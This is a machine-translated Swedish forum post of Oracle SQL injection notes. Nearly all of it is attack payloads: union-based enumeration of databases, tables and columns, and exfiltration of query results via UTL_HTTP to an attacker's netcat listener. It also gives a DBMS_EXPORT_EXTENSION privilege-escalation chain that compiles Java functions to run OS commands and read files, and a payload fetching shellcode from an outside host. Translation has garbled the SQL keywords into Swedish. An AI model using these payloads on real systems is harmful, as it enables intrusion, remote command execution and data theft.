Denna artikel är en spegelartikel om maskinöversättning, klicka här för att hoppa till originalartikeln.

Utsikt: 11931|Svar: 0

[Säker kommunikation] SQL-injektionsanteckningar oracle

[Kopiera länk]
Publicerad på 2015-01-24 12:58:17 | | |
Detta inlägg redigerades senast av test 2015-1-24 13:01

Kommentar: --
Flera meningar utförs inte, och federerade frågor stöds
Databasnamn, tabellnamn och kolumnnamn skrivs alla med stor versal.


längd(fält)
ascii(substr(fält, N, 1))


och (välj antal(*) från dual)>0 -- Bestäm om det är orakel eller inte

ordning efter n--

och 1=2 union välj null, null,.....,null från dual-- ersätt null med N eller 'N'

och 1=2 union select null, (sql-sats) ,.....,noll från dual -- byt till (sql-sats) vid 'N'

och (välj antal(*) från all_objects där object_name='UTL_HTTP')>0 -- Bestäm om UTL_HTTP stöds (export-IP:n är känd)

och UTL_HTTP.request('http://LocalIP:port'|| (SQL-sats)) =1-- Skicka meddelanden på distans till lokal, lokal lyssning nc -vv -l -p 1234


SQL-satser
Välj banner från sys.v_$version där rownum=1 för att fråga orakelversionen
Välj medlem från v$logfile där rownum=1 Sök loggfilens väg (Windows eller Linux)
Välj utl_inaddr.get_host_address från dual för att söka databasens lyssnings-IP
Välj instance_name från v$instance för att fråga sid:en
Välj namn från v$database Sök i det aktuella databasnamnet
Välj sys_context ('Userenv','current_user') bland Dual Query-databasanvändare
Välj * från session_roles där rownum=1 för att fråga de aktuella användarbehörigheterna
Välj * från session_roles där rownum=1 [och roll<>'första tillståndsnamn']



välj table_name från user_tables där rownum=1 Det första tabellsegmentet i den aktuella databasen
välj table_name||','|| tablespace_name från user_tables där rownum=1 Första tabellsegmentet, databas (för verifiering kanske det inte är v$database)
Välj table_name från user_tables där rownum=1 och table_name<>'första tabellsegmentet' Det andra tabellsegmentet i den aktuella databasen

Välj column_name från user_tab_columns där rownum=1 och table_name='Tabellsegment' Det första fältet som motsvarar tabellnamnet
Välj column_name från user_tab_columns där rownum=1 och table_name='Tabellsegment' och column_name<>'Första fältet' Det andra fältet som motsvarar tabellnamnet

Välj fält från tabellsegment där rownum=1 bryter mot första radens innehåll
Välj fält från tabellsegment där rownum=1 och fält <> 'första radens innehåll' exponerar andra radens innehåll


Tvärbiblioteksöverskridande
Välj ägare från all_tables där rownum=1 frågar det första databasnamnet
välj ägare från all_tables där rownum=1 och ägare<> 'Första databasnamn' för att söka efter det andra databasnamnet

Välj table_name från all_tables där rownum=1 och owner='databasnamn' Sök efter den första tabellens namn i motsvarande databas
Välj table_name från all_tables där rownum=1 och owner='databasnamn' och table_name<>'första tabellnamn' för att söka efter det andra tabellnamnet i motsvarande databas

Välj column_name från all_tab_columns där rownum=1 och owner='databasnamn' och table_name='tabellsegment' Det första fältet som motsvarar tabellnamnet
Välj column_name från all_tab_columns där rownum=1 och owner='databasnamn' och table_name='tabellsegment' och column_name<>'första fältet' Det andra fältet som motsvarar tabellnamnet

Välj fält från databasen. tabellsegment där rownum=1 bryter mot innehållet i första raden
Välj fält från databasen. Tabellsegmentet där rownum=1 och fältet <> 'Första radens innehåll' bryter mot innehållet i andra raden





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); fler-uttalande END; --','SYS',0,'1',0)--

Om 'is escaped, chr() används.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-statement || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Om flera meningar är för långa kan du skriva uttalandet till webbplatsfilen och använda utl_http.request för att hämta det.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Skapa ett JAVA-paket SecTest
runCMD används för att utföra systemkommandon
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART'' FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' skapa eller ersätt och kompilera en javakällkod med namnet "SecTest" som import java.io.*; publik klass SecTest utvidgar Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; mens((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Återvänd styrka; }catch(Exception e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--

readFile används för att läsa filen
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART'' FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' skapa eller ersätt och kompilera en javakällkod med namnet "SecTest" som import java.io.*; publik klass SecTest utvidgar Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; mens((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Återvänd styrka; }catch(Exception e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--



Ger Java-behörigheter
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA KÖRA OMEDELBART '''' börja dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLA FILER>>'''''''',''''''''utför''''''''); slut; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--



Skapa en funktion
SecRunCMD-funktionen
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''', skapa eller ersätt funktionen SecRunCMD(p_cmd i varchar2) returnera varchar2 som språkets java-namn''''''''SecTest.runCMD(java.lang.String) returnera String'''''''' ; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--

SecReadFile-funktionen
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA KÖRA OMEDELBART '''''funktionen skapa eller ersätta SecReadFile(filnamn i varchar2) returnera varchar2 som språkets java-namn''''''''SecTest.readFile(java.lang.String) returnera String' '''''''; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--



Bevilja tillstånd att utföra den offentliga funktionen
SecRunCMD har beviljats behörigheter
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA UTFÖRA OMEDELBART ''''ge allt på SecRunCMD till allmänheten''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--

SecReadFile
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA UTFÖRA OMEDELBART '''''ge allt på SecReadFile till allmänheten''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--



Detekterar om funktionen skapades framgångsrikt
och (välj räkning(*) från all_objects där object_name='SECRUNCMD')>0--
och (välj antal(*) från all_objects där object_name='SECREADFILE')>0--



Utför kommandot
och '1'<>(välj sys. SecRunCMD('Execute-kommando') från dual)--
och '1'<>(välj sys. SecReadFile('filens fysiska adress') från dual)--
eller
och 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null från dual--
och 1=2 union select null,...,sys. SecReadFile('fil fysisk adress'),...,null från dual--
eller
och '1'<>(välj UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Utför kommando'),' ',' '),'\n',' ')) från dual)--
och '1'<>(välj UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) från dual)--



Ta bort funktionen
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA KÖRA OMEDELBAR '''''drop-funktion SecRunCMD''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''''drop function SecReadFile''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--




Föregående:Kan jag ansöka om måttlighet, vilka villkor behöver jag?
Nästa:ORALCE hämtar värdnamnet och IP-adressen
Friskrivning:
All programvara, programmeringsmaterial eller artiklar som publiceras av Code Farmer Network är endast för lärande- och forskningsändamål; Ovanstående innehåll får inte användas för kommersiella eller olagliga ändamål, annars kommer användarna att bära alla konsekvenser. Informationen på denna sida kommer från internet, och upphovsrättstvister har inget med denna sida att göra. Du måste helt radera ovanstående innehåll från din dator inom 24 timmar efter nedladdning. Om du gillar programmet, vänligen stöd äkta programvara, köp registrering och få bättre äkta tjänster. Om det finns något intrång, vänligen kontakta oss via e-post.

Mail To:help@itsvse.com